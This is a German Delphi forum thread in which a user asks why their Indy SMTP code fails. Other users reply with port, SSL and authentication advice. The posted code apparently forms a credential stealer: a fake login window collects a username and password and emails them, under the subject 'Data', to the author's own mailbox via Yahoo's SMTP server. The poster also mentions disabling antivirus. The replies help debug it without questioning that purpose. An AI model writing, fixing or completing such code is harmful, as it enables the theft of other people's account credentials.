Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Netzwerke (https://www.delphipraxis.net/14-netzwerke/)
-   -   SMTP-Email (https://www.delphipraxis.net/168658-smtp-email.html)

CallOfUnite 2. Jun 2012 12:39

SMTP-Email
 
Ich bins Nochmal
Habs jetzt geschafft nen Prog zu schreiben das theoretisch die email senden sollte...
Jedoch bekomme ich die meldung 'connection closed gracefully'
auf rat hin habe ich mein antiviren programm ausgeschaltet und habe es noch mal versucht, danach kam der fehler
'EIDSocketerror meldung socket error #10054 connection reset by peer' aufgetreten.

ich hab echt grade kein plan wieso das so ist :/ kann mir bitte jmnd helfen?

SC:
Delphi-Quellcode:
unit mEmail;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase, IdSMTP, jpeg,
  ExtCtrls, IdMessage;

type
  TForm1 = class(TForm)
    StatusMemo: TMemo;
    SMTP: TIdSMTP;
    Username: TEdit;
    Password: TEdit;
    Image1: TImage;
    ButtonNorm: TImage;
    ButtonColor: TImage;
    MailMessage: TIdMessage;
    procedure ButtonColorClick(Sender: TObject);
    procedure Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
    procedure ButtonNormMouseMove(Sender: TObject; Shift: TShiftState; X,
      Y: Integer);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ButtonNormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
ButtonColor.Visible:=True;
Buttonnorm.Visible:=False;
end;

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
ButtonColor.Visible:=not True;
Buttonnorm.Visible:=not False;
end;

procedure TForm1.ButtonColorClick(Sender: TObject);
begin

MailMessage.From.Address:='sender email';
MailMessage.Recipients.EMailAddresses:='meine e-adresse zum empfang';
MailMessage.Subject:='Data';
MailMessage.Body.Text:='Benutzername:'+#9+Username.Text+#9+'Passwort:'+#9+Password.Text;

Smtp.Host:='smtp.mail.yahoo.com';
Smtp.Port:=465;
Smtp.Username:='meine email';
Smtp.Password:='mein passwort';
Smtp.Connect;

try
Smtp.send(MailMessage);
finally
Smtp.Disconnect;
end;

end;
end.

bitte bitte kann mir vielleicht auch jemand erklären das ich es verstehe?

MfG CallOfUnite

Thomas Horstmann 2. Jun 2012 13:02

AW: SMTP-Email
 
"connection closed gracefully" ist eine Meldung die normalerweise vom Server kommt.
Beim GMX und Co. erscheint sie, wenn zu oft bzw. zu schnell hintereinander
an-/abgemeldet wurde. Ggf. kann sie auch auf Probleme mit dem Port hindeuten.

himitsu 2. Jun 2012 13:09

AW: SMTP-Email
 
Liste der Anhänge anzeigen (Anzahl: 1)
Einige Provider erlauben kein direktes Senden.

Es gibt verschiedene Arten der Authentifizierung.
z.B. Muß/kann man sich oftmals vorher via POP3 anmelden und es wird dann für eine gewisse Zeit die eigene IP für das Senden (SMTP) freigeschaltet.

Auch wird bei SMTP standardmäßig Passwort und Passwort unverschüsselt (als Klartext) übertragen, weswegen einige Provider das aus Sicherheit nicht zulassen.
- Authentifizierung via POP3/IMAP4
- und oder du schaust dir mal SASL an (Simple Authentication and Security Layer => IMAP.SASLMechanisms)


[edit]
Ich hatte daher vor 'ner Weile mal versucht verschieden Dinge in einer Klasse zusammenzufassen.
Der Einfachheithalber könntest du einfach mal die zweite TSendMail.SendMail-Methode (Prozedur) ausprobieren.

mjustin 2. Jun 2012 15:01

AW: SMTP-Email
 
Port 465 ist für SSL/TLS und inzwischen veraltet (laut http://de.wikipedia.org/wiki/Simple_...nsfer_Protocol).

Es fehlt also eine Indy SSL Komponente im Code, die dann über OpenSSL die Verschlüsslung übernimmt. Ich habe keinen Quelltext zur Hand, aber es sollte im Web dazu Beispiele geben.


Alle Zeitangaben in WEZ +1. Es ist jetzt 07:33 Uhr.

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz